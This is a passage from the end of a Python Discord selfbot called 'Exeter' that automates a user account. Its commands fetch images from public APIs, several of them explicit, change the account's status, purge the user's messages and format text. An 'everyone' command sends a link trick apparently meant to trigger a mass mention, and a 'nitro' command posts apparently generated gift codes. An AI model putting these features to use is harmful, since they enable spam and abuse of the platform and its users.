image = await resp.read() 2631 | with io.BytesIO(image) as file: 2632 | await ctx.send(file=discord.File(file, f"exeter_sadcat.png")) 2633 | except: 2634 | await ctx.send(link) 2635 | 2636 | 2637 | @Exeter.command() 2638 | async def bird(ctx): 2639 | await ctx.message.delete() 2640 | r = requests.get("https://api.alexflipnote.dev/birb").json() 2641 | link = str(r['file']) 2642 | try: 2643 | async with aiohttp.ClientSession() as session: 2644 | async with session.get(link) as resp: 2645 | image = await resp.read() 2646 | with io.BytesIO(image) as file: 2647 | await ctx.send(file=discord.File(file, f"exeter_bird.png")) 2648 | except: 2649 | await ctx.send(link) 2650 | 2651 | 2652 | @Exeter.command() 2653 | async def fox(ctx): 2654 | await ctx.message.delete() 2655 | r = requests.get('https://randomfox.ca/floof/').json() 2656 | link = str(r["image"]) 2657 | try: 2658 | async with aiohttp.ClientSession() as session: 2659 | async with session.get(link) as resp: 2660 | image = await resp.read() 2661 | with io.BytesIO(image) as file: 2662 | await ctx.send(file=discord.File(file, f"exeter_fox.png")) 2663 | except: 2664 | await ctx.send(link) 2665 | 2666 | 2667 | @Exeter.command() 2668 | async def anal(ctx): 2669 | await ctx.message.delete() 2670 | r = requests.get("https://nekos.life/api/v2/img/anal") 2671 | res = r.json() 2672 | try: 2673 | async with aiohttp.ClientSession() as session: 2674 | async with session.get(res['url']) as resp: 2675 | image = await resp.read() 2676 | with io.BytesIO(image) as file: 2677 | await ctx.send(file=discord.File(file, f"exeter_anal.gif")) 2678 | except: 2679 | em = discord.Embed() 2680 | em.set_image(url=res['url']) 2681 | await ctx.send(embed=em) 2682 | 2683 | 2684 | @Exeter.command() 2685 | async def erofeet(ctx): 2686 | await ctx.message.delete() 2687 | r = requests.get("https://nekos.life/api/v2/img/erofeet") 2688 | res = r.json() 2689 | try: 2690 | async with aiohttp.ClientSession() as session: 2691 | async with session.get(res['url']) as resp: 2692 | image = await resp.read() 2693 | with io.BytesIO(image) as file: 2694 | await ctx.send(file=discord.File(file, f"exeter_erofeet.png")) 2695 | except: 2696 | em = discord.Embed() 2697 | em.set_image(url=res['url']) 2698 | await ctx.send(embed=em) 2699 | 2700 | 2701 | @Exeter.command() 2702 | async def feet(ctx): 2703 | await ctx.message.delete() 2704 | r = requests.get("https://nekos.life/api/v2/img/feetg") 2705 | res = r.json() 2706 | try: 2707 | async with aiohttp.ClientSession() as session: 2708 | async with session.get(res['url']) as resp: 2709 | image = await resp.read() 2710 | with io.BytesIO(image) as file: 2711 | await ctx.send(file=discord.File(file, f"exeter_feet.gif")) 2712 | except: 2713 | em = discord.Embed() 2714 | em.set_image(url=res['url']) 2715 | await ctx.send(embed=em) 2716 | 2717 | 2718 | @Exeter.command() 2719 | async def hentai(ctx): 2720 | await ctx.message.delete() 2721 | r = requests.get("https://nekos.life/api/v2/img/Random_hentai_gif") 2722 | res = r.json() 2723 | try: 2724 | async with aiohttp.ClientSession() as session: 2725 | async with session.get(res['url']) as resp: 2726 | image = await resp.read() 2727 | with io.BytesIO(image) as file: 2728 | await ctx.send(file=discord.File(file, f"exeter_hentai.gif")) 2729 | except: 2730 | em = discord.Embed() 2731 | em.set_image(url=res['url']) 2732 | await ctx.send(embed=em) 2733 | 2734 | 2735 | @Exeter.command() 2736 | async def boobs(ctx): 2737 | await ctx.message.delete() 2738 | r = requests.get("https://nekos.life/api/v2/img/boobs") 2739 | res = r.json() 2740 | try: 2741 | async with aiohttp.ClientSession() as session: 2742 | async with session.get(res['url']) as resp: 2743 | image = await resp.read() 2744 | with io.BytesIO(image) as file: 2745 | await ctx.send(file=discord.File(file, f"exeter_boobs.gif")) 2746 | except: 2747 | em = discord.Embed() 2748 | em.set_image(url=res['url']) 2749 | await ctx.send(embed=em) 2750 | 2751 | 2752 | @Exeter.command() 2753 | async def tits(ctx): 2754 | await ctx.message.delete() 2755 | r = requests.get("https://nekos.life/api/v2/img/tits") 2756 | res = r.json() 2757 | try: 2758 | async with aiohttp.ClientSession() as session: 2759 | async with session.get(res['url']) as resp: 2760 | image = await resp.read() 2761 | with io.BytesIO(image) as file: 2762 | await ctx.send(file=discord.File(file, f"exeter_tits.gif")) 2763 | except: 2764 | em = discord.Embed() 2765 | em.set_image(url=res['url']) 2766 | await ctx.send(embed=em) 2767 | 2768 | 2769 | @Exeter.command() 2770 | async def blowjob(ctx): 2771 | await ctx.message.delete() 2772 | r = requests.get("https://nekos.life/api/v2/img/blowjob") 2773 | res = r.json() 2774 | try: 2775 | async with aiohttp.ClientSession() as session: 2776 | async with session.get(res['url']) as resp: 2777 | image = await resp.read() 2778 | with io.BytesIO(image) as file: 2779 | await ctx.send(file=discord.File(file, f"exeter_blowjob.gif")) 2780 | except: 2781 | em = discord.Embed() 2782 | em.set_image(url=res['url']) 2783 | await ctx.send(embed=em) 2784 | 2785 | 2786 | @Exeter.command(aliases=["neko"]) 2787 | async def lewdneko(ctx): 2788 | await ctx.message.delete() 2789 | r = requests.get("https://nekos.life/api/v2/img/nsfw_neko_gif") 2790 | res = r.json() 2791 | try: 2792 | async with aiohttp.ClientSession() as session: 2793 | async with session.get(res['url']) as resp: 2794 | image = await resp.read() 2795 | with io.BytesIO(image) as file: 2796 | await ctx.send(file=discord.File(file, f"exeter_neko.gif")) 2797 | except: 2798 | em = discord.Embed() 2799 | em.set_image(url=res['url']) 2800 | await ctx.send(embed=em) 2801 | 2802 | 2803 | @Exeter.command() 2804 | async def lesbian(ctx): 2805 | await ctx.message.delete() 2806 | r = requests.get("https://nekos.life/api/v2/img/les") 2807 | res = r.json() 2808 | try: 2809 | async with aiohttp.ClientSession() as session: 2810 | async with session.get(res['url']) as resp: 2811 | image = await resp.read() 2812 | with io.BytesIO(image) as file: 2813 | await ctx.send(file=discord.File(file, f"exeter_lesbian.gif")) 2814 | except: 2815 | em = discord.Embed() 2816 | em.set_image(url=res['url']) 2817 | await ctx.send(embed=em) 2818 | 2819 | 2820 | @Exeter.command() 2821 | async def cumslut(ctx): 2822 | await ctx.message.delete() 2823 | r = requests.get("https://nekos.life/api/v2/img/cum") 2824 | res = r.json() 2825 | try: 2826 | async with aiohttp.ClientSession() as session: 2827 | async with session.get(res['url']) as resp: 2828 | image = await resp.read() 2829 | with io.BytesIO(image) as file: 2830 | await ctx.send(file=discord.File(file, f"exeter_cumslut.gif")) 2831 | except: 2832 | em = discord.Embed() 2833 | em.set_image(url=res['url']) 2834 | await ctx.send(embed=em) 2835 | 2836 | 2837 | @Exeter.command(aliases=["vagina"]) 2838 | async def pussy(ctx): 2839 | await ctx.message.delete() 2840 | r = requests.get("https://nekos.life/api/v2/img/pussy") 2841 | res = r.json() 2842 | try: 2843 | async with aiohttp.ClientSession() as session: 2844 | async with session.get(res['url']) as resp: 2845 | image = await resp.read() 2846 | with io.BytesIO(image) as file: 2847 | await ctx.send(file=discord.File(file, f"exeter_pussy.gif")) 2848 | except: 2849 | em = discord.Embed() 2850 | em.set_image(url=res['url']) 2851 | await ctx.send(embed=em) 2852 | 2853 | 2854 | @Exeter.command() 2855 | async def waifu(ctx): 2856 | await ctx.message.delete() 2857 | r = requests.get("https://nekos.life/api/v2/img/waifu") 2858 | res = r.json() 2859 | try: 2860 | async with aiohttp.ClientSession() as session: 2861 | async with session.get(res['url']) as resp: 2862 | image = await resp.read() 2863 | with io.BytesIO(image) as file: 2864 | await ctx.send(file=discord.File(file, f"exeter_waifu.gif")) 2865 | except: 2866 | em = discord.Embed() 2867 | em.set_image(url=res['url']) 2868 | await ctx.send(embed=em) 2869 | 2870 | 2871 | @Exeter.command() 2872 | async def feed(ctx, user: discord.Member): 2873 | await ctx.message.delete() 2874 | r = requests.get("https://nekos.life/api/v2/img/feed") 2875 | res = r.json() 2876 | try: 2877 | async with aiohttp.ClientSession() as session: 2878 | async with session.get(res['url']) as resp: 2879 | image = await resp.read() 2880 | with io.BytesIO(image) as file: 2881 | await ctx.send(user.mention, file=discord.File(file, f"exeter_feed.gif")) 2882 | except: 2883 | em = discord.Embed(description=user.mention) 2884 | em.set_image(url=res['url']) 2885 | await ctx.send(embed=em) 2886 | 2887 | 2888 | @Exeter.command() 2889 | async def tickle(ctx, user: discord.Member): 2890 | await ctx.message.delete() 2891 | r = requests.get("https://nekos.life/api/v2/img/tickle") 2892 | res = r.json() 2893 | try: 2894 | async with aiohttp.ClientSession() as session: 2895 | async with session.get(res['url']) as resp: 2896 | image = await resp.read() 2897 | with io.BytesIO(image) as file: 2898 | await ctx.send(user.mention, file=discord.File(file, f"exeter_tickle.gif")) 2899 | except: 2900 | em = discord.Embed(description=user.mention) 2901 | em.set_image(url=res['url']) 2902 | await ctx.send(embed=em) 2903 | 2904 | 2905 | @Exeter.command() 2906 | async def slap(ctx, user: discord.Member): 2907 | await ctx.message.delete() 2908 | r = requests.get("https://nekos.life/api/v2/img/slap") 2909 | res = r.json() 2910 | try: 2911 | async with aiohttp.ClientSession() as session: 2912 | async with session.get(res['url']) as resp: 2913 | image = await resp.read() 2914 | with io.BytesIO(image) as file: 2915 | await ctx.send(user.mention, file=discord.File(file, f"exeter_slap.gif")) 2916 | except: 2917 | em = discord.Embed(description=user.mention) 2918 | em.set_image(url=res['url']) 2919 | await ctx.send(embed=em) 2920 | 2921 | 2922 | @Exeter.command() 2923 | async def hug(ctx, user: discord.Member): 2924 | await ctx.message.delete() 2925 | r = requests.get("https://nekos.life/api/v2/img/hug") 2926 | res = r.json() 2927 | try: 2928 | async with aiohttp.ClientSession() as session: 2929 | async with session.get(res['url']) as resp: 2930 | image = await resp.read() 2931 | with io.BytesIO(image) as file: 2932 | await ctx.send(user.mention, file=discord.File(file, f"exeter_hug.gif")) 2933 | except: 2934 | em = discord.Embed(description=user.mention) 2935 | em.set_image(url=res['url']) 2936 | await ctx.send(embed=em) 2937 | 2938 | 2939 | @Exeter.command() 2940 | async def cuddle(ctx, user: discord.Member): 2941 | await ctx.message.delete() 2942 | r = requests.get("https://nekos.life/api/v2/img/cuddle") 2943 | res = r.json() 2944 | try: 2945 | async with aiohttp.ClientSession() as session: 2946 | async with session.get(res['url']) as resp: 2947 | image = await resp.read() 2948 | with io.BytesIO(image) as file: 2949 | await ctx.send(user.mention, file=discord.File(file, f"exeter_cuddle.gif")) 2950 | except: 2951 | em = discord.Embed(description=user.mention) 2952 | em.set_image(url=res['url']) 2953 | await ctx.send(embed=em) 2954 | 2955 | 2956 | @Exeter.command() 2957 | async def smug(ctx, user: discord.Member): 2958 | await ctx.message.delete() 2959 | r = requests.get("https://nekos.life/api/v2/img/smug") 2960 | res = r.json() 2961 | try: 2962 | async with aiohttp.ClientSession() as session: 2963 | async with session.get(res['url']) as resp: 2964 | image = await resp.read() 2965 | with io.BytesIO(image) as file: 2966 | await ctx.send(user.mention, file=discord.File(file, f"exeter_smug.gif")) 2967 | except: 2968 | em = discord.Embed(description=user.mention) 2969 | em.set_image(url=res['url']) 2970 | await ctx.send(embed=em) 2971 | 2972 | 2973 | @Exeter.command() 2974 | async def pat(ctx, user: discord.Member): 2975 | await ctx.message.delete() 2976 | r = requests.get("https://nekos.life/api/v2/img/pat") 2977 | res = r.json() 2978 | try: 2979 | async with aiohttp.ClientSession() as session: 2980 | async with session.get(res['url']) as resp: 2981 | image = await resp.read() 2982 | with io.BytesIO(image) as file: 2983 | await ctx.send(user.mention, file=discord.File(file, f"exeter_pat.gif")) 2984 | except: 2985 | em = discord.Embed(description=user.mention) 2986 | em.set_image(url=res['url']) 2987 | await ctx.send(embed=em) 2988 | 2989 | 2990 | @Exeter.command() 2991 | async def kiss(ctx, user: discord.Member): 2992 | await ctx.message.delete() 2993 | r = requests.get("https://nekos.life/api/v2/img/kiss") 2994 | res = r.json() 2995 | try: 2996 | async with aiohttp.ClientSession() as session: 2997 | async with session.get(res['url']) as resp: 2998 | image = await resp.read() 2999 | with io.BytesIO(image) as file: 3000 | await ctx.send(user.mention, file=discord.File(file, f"exeter_kiss.gif")) 3001 | except: 3002 | em = discord.Embed(description=user.mention) 3003 | em.set_image(url=res['url']) 3004 | await ctx.send(embed=em) 3005 | 3006 | 3007 | @Exeter.command() 3008 | async def uptime(ctx): 3009 | await ctx.message.delete() 3010 | now = datetime.datetime.utcnow() # Timestamp of when uptime function is run 3011 | delta = now - start_time 3012 | hours, remainder = divmod(int(delta.total_seconds()), 3600) 3013 | minutes, seconds = divmod(remainder, 60) 3014 | days, hours = divmod(hours, 24) 3015 | if days: 3016 | time_format = "**{d}** days, **{h}** hours, **{m}** minutes, and **{s}** seconds." 3017 | else: 3018 | time_format = "**{h}** hours, **{m}** minutes, and **{s}** seconds." 3019 | uptime_stamp = time_format.format(d=days, h=hours, m=minutes, s=seconds) 3020 | await ctx.send(uptime_stamp) 3021 | 3022 | 3023 | @Exeter.command() 3024 | async def purge(ctx, amount: int): 3025 | await ctx.message.delete() 3026 | async for message in ctx.message.channel.history(limit=amount).filter(lambda m: m.author == Exeter.user).map( 3027 | lambda m: m): 3028 | try: 3029 | await message.delete() 3030 | except: 3031 | pass 3032 | 3033 | 3034 | @Exeter.command(name='group-leaver', 3035 | aliase=['leaveallgroups', 'leavegroup', 'leavegroups', "groupleave", "groupleaver"]) 3036 | async def _group_leaver(ctx): 3037 | await ctx.message.delete() 3038 | for channel in Exeter.private_channels: 3039 | if isinstance(channel, discord.GroupChannel): 3040 | await channel.leave() 3041 | 3042 | 3043 | @Exeter.command(aliases=["streaming"]) 3044 | async def stream(ctx, *, message): 3045 | await ctx.message.delete() 3046 | stream = discord.Streaming( 3047 | name=message, 3048 | url=stream_url, 3049 | ) 3050 | await Exeter.change_presence(activity=stream) 3051 | 3052 | 3053 | @Exeter.command(alises=["game"]) 3054 | async def playing(ctx, *, message): 3055 | await ctx.message.delete() 3056 | game = discord.Game( 3057 | name=message 3058 | ) 3059 | await Exeter.change_presence(activity=game) 3060 | 3061 | 3062 | @Exeter.command(aliases=["listen"]) 3063 | async def listening(ctx, *, message): 3064 | await ctx.message.delete() 3065 | await Exeter.change_presence( 3066 | activity=discord.Activity( 3067 | type=discord.ActivityType.listening, 3068 | name=message, 3069 | )) 3070 | 3071 | 3072 | @Exeter.command(aliases=["watch"]) 3073 | async def watching(ctx, *, message): 3074 | await ctx.message.delete() 3075 | await Exeter.change_presence( 3076 | activity=discord.Activity( 3077 | type=discord.ActivityType.watching, 3078 | name=message 3079 | )) 3080 | 3081 | 3082 | @Exeter.command(aliases=["stopstreaming", "stopstatus", "stoplistening", "stopplaying", "stopwatching"]) 3083 | async def stopactivity(ctx): 3084 | await ctx.message.delete() 3085 | await Exeter.change_presence(activity=None, status=discord.Status.dnd) 3086 | 3087 | 3088 | @Exeter.command() 3089 | async def reverse(ctx, *, message): 3090 | await ctx.message.delete() 3091 | message = message[::-1] 3092 | await ctx.send(message) 3093 | 3094 | 3095 | @Exeter.command() 3096 | async def shrug(ctx): 3097 | await ctx.message.delete() 3098 | shrug = r'¯\_(ツ)_/¯' 3099 | await ctx.send(shrug) 3100 | 3101 | 3102 | @Exeter.command() 3103 | async def lenny(ctx): 3104 | await ctx.message.delete() 3105 | lenny = '( ͡° ͜ʖ ͡°)' 3106 | await ctx.send(lenny) 3107 | 3108 | 3109 | @Exeter.command(aliases=["fliptable"]) 3110 | async def tableflip(ctx): 3111 | await ctx.message.delete() 3112 | tableflip = '(╯°□°)╯︵ ┻━┻' 3113 | await ctx.send(tableflip) 3114 | 3115 | 3116 | @Exeter.command() 3117 | async def unflip(ctx): 3118 | await ctx.message.delete() 3119 | unflip = '┬─┬ ノ( ゜-゜ノ)' 3120 | await ctx.send(unflip) 3121 | 3122 | 3123 | @Exeter.command() 3124 | async def bold(ctx, *, message): 3125 | await ctx.message.delete() 3126 | await ctx.send('**' + message + '**') 3127 | 3128 | 3129 | @Exeter.command() 3130 | async def censor(ctx, *, message): 3131 | await ctx.message.delete() 3132 | await ctx.send('||' + message + '||') 3133 | 3134 | 3135 | @Exeter.command() 3136 | async def underline(ctx, *, message): 3137 | await ctx.message.delete() 3138 | await ctx.send('__' + message + '__') 3139 | 3140 | 3141 | @Exeter.command() 3142 | async def italicize(ctx, *, message): 3143 | await ctx.message.delete() 3144 | await ctx.send('*' + message + '*') 3145 | 3146 | 3147 | @Exeter.command() 3148 | async def strike(ctx, *, message): 3149 | await ctx.message.delete() 3150 | await ctx.send('~~' + message + '~~') 3151 | 3152 | 3153 | @Exeter.command() 3154 | async def quote(ctx, *, message): 3155 | await ctx.message.delete() 3156 | await ctx.send('> ' + message) 3157 | 3158 | 3159 | @Exeter.command() 3160 | async def code(ctx, *, message): 3161 | await ctx.message.delete() 3162 | await ctx.send('`' + message + "`") 3163 | 3164 | 3165 | @Exeter.command(name='rolecolor') 3166 | async def _role_hexcode(ctx, *, role: discord.Role): 3167 | await ctx.message.delete() 3168 | await ctx.send(f"{role.name} : {role.color}") 3169 | 3170 | 3171 | @Exeter.command() 3172 | async def empty(ctx): 3173 | await ctx.message.delete() 3174 | await ctx.send(chr(173)) 3175 | 3176 | 3177 | @Exeter.command() 3178 | async def everyone(ctx): 3179 | await ctx.message.delete() 3180 | await ctx.send('https://@everyone@google.com') 3181 | 3182 | 3183 | @Exeter.command(aliases=["logout"]) 3184 | async def shutdown(ctx): 3185 | await ctx.message.delete() 3186 | await Exeter.logout() 3187 | 3188 | 3189 | @Exeter.command(aliases=["nitrogen"]) 3190 | async def nitro(ctx): 3191 | await ctx.message.delete() 3192 | await ctx.send(Nitro()) 3193 | 3194 | 3195 | if __name__ == '__main__': 3196 | Init() 3197 | --------------------------------------------------------------------------------